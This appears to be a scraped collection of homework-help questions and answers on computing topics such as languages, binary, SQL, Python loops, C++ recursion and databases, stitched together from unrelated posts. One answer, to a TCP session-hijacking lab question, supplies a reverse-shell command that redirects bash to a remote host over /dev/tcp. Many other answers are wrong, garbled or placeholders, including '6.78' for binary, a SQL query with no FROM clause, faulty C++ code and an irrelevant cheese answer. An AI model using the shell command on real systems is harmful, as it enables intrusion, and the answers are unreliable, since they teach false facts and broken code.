Answer:
I. Programs written in a high-level language are generally easier for people to read than programs written in a low-level language.
II. A high-level language provides programmers with more abstractions than a low-level language.
III. Programs written in a high-level language are generally easier to debug than programs written in a low-level language.
Explanation:
High level language can be defined as a programming language which is generally less complex than a machine (low level) language and easy to understand by the end users (programmers).
This ultimately implies that, a high level programming language is typically a user friendly language and as such simplifies coding or programming for beginners.
Some examples of high level programming language are Python, Java, C#, Ruby, Perl, Visual Basic, PHP, Cobol, C++, Fortran, Javascript, etc.
Machine and assembly are referred to as a low level programming language used in writing software programs or applications with respect to computer hardware and architecture. Machine language is generally written in 0s and 1s, and as such are cryptic in nature, making them unreadable by humans. Also, assembly language use commands written in English such as SUB, MOV, ADD, etc.
Hence, the following statements are true about using a high-level programming language rather than use a lower-level language;
I. Any software application or program that is written in a high-level programming language instead of a low-level programming language, is generally easy to read and even for non-programmers.
II. A high-level language makes writing a code easier and convenient for programmers than a low-level programming language because it offers more abstraction from the computer, through the use of a higher order functions.
III. It is easier and less cumbersome for programmers to debug or find errors in programs written in a high-level language than programs written using a low-level programming language.
A high-level programming langue is one that which are a hard abstraction from the computer details. In contrast, the lower, level programming is one that has natural language elements and is easier to use.
The high-level programming language is easier for people to read as they have a lower-level language. The high-level languages have more abstractions than the lower-level ones. These languages are easier to debug than programs in lower levels.Hence all of the above are correct.
Learn more about the statements that are true about using a high-level.
brainly.com/question/11566221.
Which number system is based on 1s and 0s? Binary Decimal Digital Whole
Answer:
6.78
Explanation:
Answer:
Binary Number System
Explanation:
binary number is a number expressed in base 2 numeral system for binary numeral system, a method of mathematical expression which uses only two systems: typically 0 and 1.
A digital computer has a memory unit with 16 bits per word. The instruction set consists of 72 different operations. All instructions have an operation code part(opcode) and an address part(allowing for only one address). Each instruction is stored in one word of memory.
Required:
a. How many bits are needed for the opcode?
b. How many bits are left for the address part of the instruction?
c. What is the maximum allowable size for memory?
d. What is the largest unsigned binary number that can be accommodated in one word of memory?
Answer:
a. 7 bits b. 9 bits c. 1 kB d. 2¹⁶ - 1
Explanation:
a. How many bits are needed for the opcode?
Since there are 72 different operations, we require the number of bits that would contain 72 different operations. So, 2ⁿ ≥ 72
72 = 64 + 8 = 2⁶ + 8
Since n must be an integer value, the closest value of n that would contain 72 different operations is n = 7. So, 2⁷ = 128
So, we require 7 bits for the opcode.
b. How many bits are left for the address part of the instruction?
bits left = bits per word - opcode bit = 16 - 7 = 9 bits
c. What is the maximum allowable size for memory?
Since there are going to be 2⁹ bits to addresses each word and 16 bits for each word, the maximum allowable size for memory is thus 2⁹ × 16 = 512 × 16 = 8192 bits.
We convert this to bytes
8192 bits × 1 byte/8 bits = 1024 bytes = 1 kB
d. What is the largest unsigned binary number that can be accommodated in one word of memory?
Since the number go from 0 to 2¹⁶, the largest unsigned binary number that can be accommodated in one word of memory is thus
2¹⁶ - 1
(Editing)
So I’m editing some videos for an assignment but the teacher is telling me to trim or splice, what’s the difference between those two?
Answer:
Cut means to another shot. Or cutting off part of a shot. Trim means to shorten the shot (and there are trim tools.)
Trimming usually refers to taking off either part of the beginning or end of a video clip. Sometimes this is referred to as trimming the top or tail (beginning or end)
Explanation:
~Hope this helps
Suppose data is available for an on-line music distributor. This data includes: song title, artist performing the song, date song purchased, amount charged for the song. Using only the information available in the distributor's data (song title, artist performing, date purchased, amount charged), which of the following can be determined using database or spreadsheet software?
a. The number of songs by a particular artist that were purchased on a given date.
b. The amount of money charged on the first day of any given month.
c. Whether the amount charged is the same for each song title.
Answer:
The answer is "Option a".
Explanation:
In this question, the only choice "a" is correct because in the question it is declared that it includes: your track title, the performance artist, the date their track is bought, the fee for the track. Its number of music purchased by a given artist on a particular date is based only on details available on the distributor's song title, performing, date purchased, the sum paid.
**GIVING ALL POINTS** 4.02 Coding With Loops
I NEED THIS TO BE DONE FOR ME AS I DONT UNDERSTAND HOW TO DO IT. THANK YOU
Output: Your goal
You will complete a program that asks a user to guess a number.
Part 1: Review the Code
Review the code and locate the comments with missing lines (# Fill in missing code). Copy and paste the code into the Python IDLE. Use the IDLE to fill in the missing lines of code.
On the surface this program seems simple. Allow the player to keep guessing until he/she finds the secret number. But stop and think for a moment. You need a loop to keep running until the player gets the right answer.
Some things to think about as you write your loop:
The loop will only run if the comparison is true.
(e.g., 1 < 0 would not run as it is false but 5 != 10 would run as it is true)
What variables will you need to compare?
What comparison operator will you need to use?
# Heading (name, date, and short description) feel free to use multiple lines
def main():
# Initialize variables
numGuesses = 0
userGuess = -1
secretNum = 5
name = input("Hello! What is your name?")
# Fill in the missing LOOP here.
# This loop will need run until the player has guessed the secret number.
userGuess = int(input("Guess a number between 1 and 20: "))
numGuesses = numGuesses + 1
if (userGuess < secretNum):
print("You guessed " + str(userGuess) + ". Too low.")
if (userGuess > secretNum):
print("You guessed " + str(userGuess) + ". Too high.")
# Fill in missing PRINT statement here.
# Print a single message telling the player:
# That he/she guessed the secret number
# What the secret number was
# How many guesses it took
main()
Part 2: Test Your Code
Use the Python IDLE to test the program.
Using comments, type a heading that includes your name, today’s date, and a short description.
Run your program to ensure it is working properly. Fix any errors you observe.
Example of expected output: The output below is an example of the output from the Guess the Number game. Your specific results will vary based on the input you enter.
Output
Your guessed 10. Too high.
Your guessed 1. Too low.
Your guessed 3. Too low.
Good job, Jax! You guessed my number (5) in 3 tries!
When you've completed filling in your program code, save your work by selecting 'Save' in the Python IDLE.
When you submit your assignment, you will attach this Python file separately.
Part 3: Post Mortem Review (PMR)
Using complete sentences, respond to all the questions in the PMR chart.
Review Question Response
What was the purpose of your program?
How could your program be useful in the real world?
What is a problem you ran into, and how did you fix it?
Describe one thing you would do differently the next time you write a program.
Answer:
import random
from time import sleep as sleep
def main():
# Initialize random seed
random.seed()
# How many guesses the user has currently used
guesses = 0
# Declare minimum value to generate
minNumber = 1
# Declare maximum value to generate
maxNumber = 20
# Declare wait time variable
EventWaitTime = 10 # (Seconds)
# Incorrect config check
if (minNumber > maxNumber or maxNumber < minNumber):
print("Incorrect config values! minNumber is greater than maxNumber or maxNumber is smaller than minNumber!\nDEBUG INFO:\nminNumber = " + str(minNumber) + "\nmaxNumber = " + str(maxNumber) + "\nExiting in " + str(EventWaitTime) + " seconds...")
sleep(EventWaitTime)
exit(0)
# Generate Random Number
secretNumber = random.randint(minNumber, maxNumber)
# Declare user guess variable
userGuess = None
# Ask for name and get input
name = str(input("Hello! What is your name?\n"))
# Run this repeatedly until we want to stop (break)
while (True):
# Prompt user for input then ensure they put in an integer or something that can be interpreted as an integer
try:
userGuess = int(input("Guess a number between " + str(minNumber) + " and " + str(maxNumber) + ": "))
except ValueError:
print("ERROR: You didn't input a number! Please input a number!")
continue
# Increment guesses by 1
guesses += 1
# Check if number is lower, equal too, or higher
if (userGuess < secretNumber):
print("You guessed: " + str(userGuess) + ". Too low.\n")
continue
elif (userGuess == secretNumber):
break
elif (userGuess > secretNumber):
print("You guessed: " + str(userGuess) + ". Too high.\n")
continue
# This only runs when we use the 'break' statement to get out of the infinite true loop. So, print congrats, wait 5 seconds, exit.
print("Congratulations, " + name + "! You beat the game!\nThe number was: " + str(secretNumber) + ".\nYou beat the game in " + str(guesses) + " guesses!\n\nThink you can do better? Re-open the program!\n(Auto-exiting in 5 seconds)")
sleep(EventWaitTime)
exit(0)
if __name__ == '__main__':
main()
Explanation:
Answer:
numGuesses = 0
userGuess = -1
secretNum = 4
name = input("Hello! What is your name?")
while userGuess != secretNum:
userGuess = int(input("Guess a number between 1 and 20: "))
numGuesses = numGuesses + 1
if (userGuess < secretNum):
print(name + " guessed " + str(userGuess) + ". Too low.")
if (userGuess > secretNum):
print( name + " guessed " + str(userGuess) + ". Too high.")
if(userGuess == secretNum):
print("You guessed " + str(secretNum)+ ". Correct! "+"It took you " + str(numGuesses)+ " guesses. " + str(secretNum) + " was the right answer.")
Explanation:
Review Question Response
What was the purpose of your program? The purpose of my program is to make a guessing game.
How could your program be useful in the real world? This can be useful in the real world for entertainment.
What is a problem you ran into, and how did you fix it? At first, I could not get the input to work. After this happened though, I switched to str, and it worked perfectly.
Describe one thing you would do differently the next time you write a program. I want to take it to the next level, like making froggy, tic tac toe, or connect 4
In the following cell, we've loaded the text of Pride and Prejudice by Jane Austen, split it into individual words, and stored these words in an array p_and_p_words. Using a for loop, assign longer_than_five to the number of words in the novel that are more than 5 letters long. Hint: You can find the number of letters in a word with the len function.
Answer:
Explanation:
Since the array is not provided, I created a Python function that takes in the array and loops through it counting all of the words that are longer than 5. Then it returns the variable longer_than_five. To test this function I created an array of words based on the synapse of Pride and Prejudice. The output can be seen in the attached picture below.
def countWords(p_and_p_words):
longer_than_five = 0
for word in p_and_p_words:
if len(word) > 5:
longer_than_five += 1
return longer_than_five
An argument does not always have to be made in words. A piece of music
can make an argument; however, the argument is usually a(n)
one.
A. unfocused
B. emotional
C. credible
D. logical
Answer:
B. emotional
Explanation:
An emotional argument. An argument does not always have to be made in words.
The piece of music that can make an argument is usually an emotional argument. Thus option B is correct.
What is an emotional argument?An emotional argument is an e that is made in words and expresses its deals in terms of feelings and thoughts. The emotional argument is characterized by the manipulation of the recipient's emotions and has an absence of factual evidence.
Find out more information about the argument.
brainly.com/question/3775579
Which of these is a good thing to consider when naming variables?
The name should be readable and make sense
Keep it short, less typing
Use only letters
O Sentences are Tood variable names.
Answer:
The name should be readable and make sense
Explanation:
Aside the rules involved in naming variables, there are also some good tips which should be considwred when given names to our variables. These means there are some variables which are acceptable by our program but may be avoided in other to make our codes easier to read by us and others and it also makes debugging easier when we run into errors. Using short variables are acceptable on code writing as far as the rules are followed. However, it is more advisable to use names that are descriptive and readable such that it relates to the program or code being worked on. This ensures that we and others can follow through our lines of code at a much later time without making mistakes or forgetting what the variable stands for.
I wish we could visit Paris for the holidays into exclamatory
Answer:
wdym
Explanation:
what is the different between information and data
Answer:
Information is the act of imparting knowledge and data is the recorded observation that are usually presented in a structured format
what is the mean of debugging
Answer:
the process of identifying and removing errors from computer hardware or software
Explanation:
Essentially just fixing programming errors, mainly in coding or software
Construct a SQL query that displays a list of colleges, their sity/state, the accrediting agency, and whether or not the school is distance only. Only show the first 10 records.
Answer:
SELECT college, city_state, accre_agency, distance LIMIT 10
Explanation:
Given
Table name: College
See attachment for table
Required
Retrieve top 10 college, state, agency and school distance from the table
To retrieve from a table, we make use of the SELECT query
The select statement is then followed by the columns to be selected (separated by comma (,))
So, we have:
SELECT college, city_state, accre_agency, distance
From the question, we are to select only first 10 records.
This is achieved using the LIMIT clause
i.e. LIMIT 10 for first 10
So, the complete query is:
SELECT college, city_state, accre_agency, distance LIMIT 10
The color in a circle is a _____________ data type.
Answer:
b
Explanation:
Let ∑ = {a,b}, and let L be the language over ∑:
L ={ w € ∑+ |w is even, and w contains at least one a in the first half and exactly one b in the second half }
Give a context-free grammar (CFG) for L, and briefly explain how it works to correctly represent the language. There are no additional requirements for your solution other than what is stated here, except the usual guidance to make sure your answer is clear and understandable and avoids too much unnecessary complexity. In particular, there is no credit for the grammar being unambiguous (if possible.)
Answer:
Explanation:
From the information given, By applying a CFG for L:
Because each state generates two symbols or null, the length will be equal and even.
1st Condition:throughout the first half, at least one (a)
2nd:exactly one (b) within the second half
Dear Student, there is a technical error that occurred when submitting this question. This makes us unable to submit the complete solution to the question but curb that effect, we've attached an image below that shows the complete algorithm and a detailed explanation of the question.
Best Regards.
What is the output when you run the following program? print(3 + 7) print("2 + 3") 10 2 + 3 3 + 7 5 3 + 7 2 + 3 10 5
Answer:
10
2 + 3
Explanation:
The statement ;
print(3 + 7) will give the output 10 ; by cause we are using the print command to display the result of the integer sum of 3 and 7 which is 10
The other statement print("2 + 3") will give the output 2 + 3. This is because by wrapping the statement within quotation marks, the programming language sees it as a string rather Than an integer on which a mathematical operation can be performed. Hence it prints what is written within the quotation marks.
Explain why robots are better at some jobs than human workers are.
Answer:
Because humans have human minds meaning there are chances of errors, and or mistakes. and they do the same thing over and over with precise precision
Explanation:
hope this helps :)
The maximum-valued element of an integer-valued array can be recursively calculated as follows: If the array has a single element, that is its maximum (note that a zero-sized array has no maximum) Otherwise, compare the first element with the maximum of the rest of the array-- whichever is larger is the maximum value. Write an int function named max that accepts an integer array, and the number of elements in the array and returns the largest value in the array. Assume the array has at least one element.
Solution :
#include <iostream>
using namespace std;
//Function Declaration
int max(int arr[],int size);
int main()
{
//Declaring variable
int size;
while(true)
{
cout<<"Enter the no of elements in the array :";
cin>>size;
if(size<=0)
{
cout<<"Invalid.Must be greaterthan Zero"<<endl;
continue;
}
else
break;
}
//Creating an array
int arr[size];
/* getting the inputs entered by
* the user and populate them into array
*/
for(int i=0;i<size;i++)
{
cout<<"Enter element#"<<i+1<<":";
cin>>arr[i];
}
//calling function
int maximum=max(arr,size);
//Displaying the output
cout<<"The maximum Element in the Array is :"<<maximum<<endl;
return 0;
}
/* Function implementation which finds
* the maximum element in the array and return it
*/
int max(int arr[],int size)
{
//Declaring the static variables
static int k=0,maximum=-999;
/* This if block will execute only if the value of k
* is less than the size of an array
*/
if(k==size-1)
{
return arr[0];
}
else if(size-1>k)
{
if(arr[k]>maximum)
maximum=arr[k];
//Incrementing the k value
k++;
//Calling the function
max(arr,size);
}
return maximum;
}
Another method that might be desired is one that updates the Goalie's jerseyNumber. This method will receive a new number of Jersey and set this number to the Goalie's current jerseyNumber. What methods would accomplish this?
Answer:
A setter method
Explanation:
A setter method will accomplish this. A setter method is a method that takes in a value as an argument and grabs an object's instance variable and modifies it with the value passed as an argument. In this scenario, the argument value would be the current JerseyNumber. The setter method will grab the object's jerseyNumber variable and change its value to be the value of the passed argument. Setter methods are common practice in all object classes as well as the getter methods to retrieve instance variables.
Why is it best to serve cheese with plain breads or crackers?
Answer:Here's why it works: Club crackers are engineered to be the perfect amount of buttery and salty, which means that, sometimes, they're all you can taste if paired with the wrong cheese.
Explanation:
Character positions in
arrays start counting with
the number 1.
True
False
Answer:
False.
Explanation:
A data dictionary can be defined as a centralized collection of information on a specific data such as attributes, names, fields and definitions that are being used in a computer database system.
In a data dictionary, data elements are combined into records, which are meaningful combinations of data elements that are included in data flows or retained in data stores.
This ultimately implies that, a data dictionary found in a computer database system typically contains the records about all the data elements (objects) such as data relationships with other elements, ownership, type, size, primary keys etc. This records are stored and communicated to other data when required or needed.
In Computer programming, an array can be defined as data structure which comprises of a fixed-size collection of variables each typically holding a piece of data and belonging to the same data type such as strings or integers.
This ultimately implies that, when a programmer wishes to store a group of related data (elements) of the same type, he or she should use an array.
Generally, character positions in arrays start counting with the number 0 not 1.
Hence, an array uses a zero-based indexing and as such the numbering or position of the characters (elements) starts from number 0. Thus, the first character (element) in an array occupies position zero (0), the second number one (1), the third number two (2) and so on.
what is a web client
Answer:
Web client:it is an application(web browser,program etc ) that requests for service from a web server.
stay safe healthy and happyThe following implementations of the method reverse are intended to reverse the o rder of the elements in a LinkedList.
I.
public static void reverse (LinkedList alist)( LinkedList temp = new LinkedList (); while (aList.size ()>0) temp.addLast (aList.removeFirst ) aList.addFirst (temp.removeFirst ) while (temp.size ()> o)
II.
public static void reverse (LinkedList alist) while (aList.size () >0) while (Itemp.isEmpty 0) QueuecSomeType> temp new LinkedList 0: temp.add (alist.removeFirst ()): aList.addFirst (temp.remove ():
IlI.
public static void reverse (LinkedList alist) while (aList.size ()>0) while (Itemp.isEmpty()) Stack temp new Stack ( temp.push (aList.removeLast ()) aList.addFirst (temp.pop ());
Which of the choices above perform the intended task successfully? Why?
a. I only
b. Il only
c. Ill only
d. Il and Ill only
e. I, ll, and IlI
Answer:
c. Ill only
Explanation:
All of the code snippets provided are missing small details such as brackets in the correct places and '=' to signal an assignment. These are crucial when coding in Java and the code will not run without it. Regardless, the only implementation that is correct in the options would be implementation III. It is the only code snippet that is correctly structured to reverse the order of the elements. It will still need debugging in order to get it to work.
IlI.
public static void reverse (LinkedList alist) while (aList.size ()>0) while (Itemp.isEmpty()) Stack temp new Stack ( temp.push (aList.removeLast ()) aList.addFirst (temp.pop ());
A photographer is reading about how to ensure a high-quality photographic print. Which statements convey the best way to ensure the results the photographer is looking for? You’ll need to follow some basic steps to print a good-quality photograph. The image you choose will depend on the purpose of the print. You can edit the image to enhance different aspects of the photograph. However, most edits are complicated and you should minimize them if possible. After editing, you may need to resize the photograph to fit the paper size. Your choice of photographic paper and printer does not affect the outcome much; it only determines the speed at which an image can print. You should make a test print after you modify and resize an image. This way, if there is a problem, you can make further modifications to suit the printer and paper. Check your final image, settings, size, and orientation before printing the final photo. After you obtain a satisfactory test print, you can load the printer tray with paper and make the final print. You can transfer and handle a printed image immediately.
Answer:
B
Explanation:
It might be or not
There is an active Telnet connection from a client (10.0.2.5) to a Telnet server(10.0.2.9). The server has just acknowledged a sequence number1000, and the client has just acknowledged a sequence number 3000. An attacker wants to launch the TCP session hijacking attack on the connection, so he can execute a command on the server. He is on the same local area network as these two computers. You need to construct a TCP packet for the attacker. Please fill in the following fields:
• Source IP and Destination IP
• Source port and Destination port
• Sequence number
• The TCP data field.
Answer:
Answer is mentioned below.
Explanation:
Source IP and Destination IP: 10.0.2.5, 10.0.2.9 Source port and Destination port: for source port, we need to sniffer a packet in this Sequence number: 3001 The TCP data field: “/bin/bash –l > /dev/tcp/10.0.20/9090 2>&1 0<&1”I hope you find the answer helpful. All the codes are correctly mentioned. Thanks
A database designer wants to create three tables: Supplier, Product, and Country. The Supplier table has a Countryld column with values that must appear in the Country table's Countryld column. The Product table has an auto-increment column.
Which table's CREATE TABLE statement(s) must specify a FOREIGN KEY?
a. Supplier
b. Product
c. Country
d. Supplier and Country
Answer:
(a) Supplier
Explanation:
In database design, two tables are linked together using a FOREIGN KEY. A foreign key is formed from one or more columns of one table that reference or match another key (often called a primary key) in another table. In other words, when a column or a combination of columns on one table points to a primary key of another table, the column(s) will specify the foreign key.
PS: A primary key is used to make each entry of a table unique.
In the given tables - Supplier, Product, Country - since the Supplier table has a column called CountryId referencing the CountryId column of the Country table, then CountryId is a primary key in Country table but a foreign key in Supplier table.
Therefore, the CREATE TABLE statement(s) of the Supplier table must specify a foreign key.
A database management system often reads and writes data in a database, and makes sure there is consistency and availability. The supplier table's CREATE TABLE statement(s) must specify a FOREIGN KEY.
The database system often guards data when a lot of transactions is taking place. it often hinders multiple transactions with the same data at the same time.The Select SQL statement does not alter any database data. A supplier database is made up of different list of service, product or materials providers who can meet orders quickly.
Learn more from
https://brainly.com/question/15281828
to copy and paste the image in MS Word the dash option is used
ur answer hope this will helps u
Newton's method has the advantage of having a faster quadratic convergence rate over the other methods such as Secant and bisection methods.
a. True
b. False
Answer:
a. True
Explanation:
The Newton's method (Newton-Raphson method) used in advanced statistical computing can be used for a continuous and differentiable function that can be approximated by a straight line tangent to it. It requires the derivative of the function to be known, Newton's method converges faster that is whenever it converges. Newton Raphson Method has quadratic convergence which is faster, and the quadratic convergence makes the error in the next iteration increase by the square of the value of the previous iteration.
Holding all else constant a higher price for ski lift tickets would be expected to
Answer:
answer is below
Explanation:
decrease the number of skis sold
Which type of query enables a user to move, append, or update matching records in a table?
action query
select query
static query
parameter query
Answer:
the query that allows these things is called an action query
Answer:
The answer is A-action query just finshed the review on edg 2021
Explanation:
Write the following function without using the C++ string class or any functions in the standard library, including strlen(). You may use pointers, pointer arithmetic or array notation.Write the function lastOfAny().The function has two parameters (str1, str2), both pointers to the first character in a C-style string.You should be able to use literals for each argument.The function searches through str1, trying to find a match for any character inside str2.Return the index of the last character in str1 where this occurs.
Answer:
The function in C++ is as follows
int chkInd(string str1, string str2){
int lenstr1=0;
while(str1[lenstr1] != '\0'){ lenstr1++; }
int index = 0; int retIndex=0;
for(int i=lenstr1-1;i>=0; i--){
while (str2[index] != '\0'){
if (str1[i] == str2[index]){
retIndex=1;
break; }
else{ retIndex=0; }
index++; }
if (retIndex == 0){ return i; }else{return -1;}}
}
Explanation:
This defines the function
int chkInd(string str1, string str2){
First, the length of str1 is initialized to 0
int lenstr1=0;
The following loop then calculates the length of str1
while(str1[lenstr1] != '\0'){ lenstr1++; }
This initializes the current index and the returned index to 0
int index = 0; int retIndex=0;
This iterates through str1
for(int i=lenstr1-1;i>=0; i--){
This loop is repeated while there are characters in str2
while (str2[index] != '\0'){
If current element of str2 and str1 are the same
if (str1[i] == str2[index]){
Set the returned index to 1
retIndex=1;
Then exit the loop
break; }
If otherwise, set the returned index to 0
else{ retIndex=0; }
Increase index by 1
index++; }
This returns the calculated returned index; if no matching is found, it returns -1
if (retIndex == 0){ return i; }else{return -1;}}
}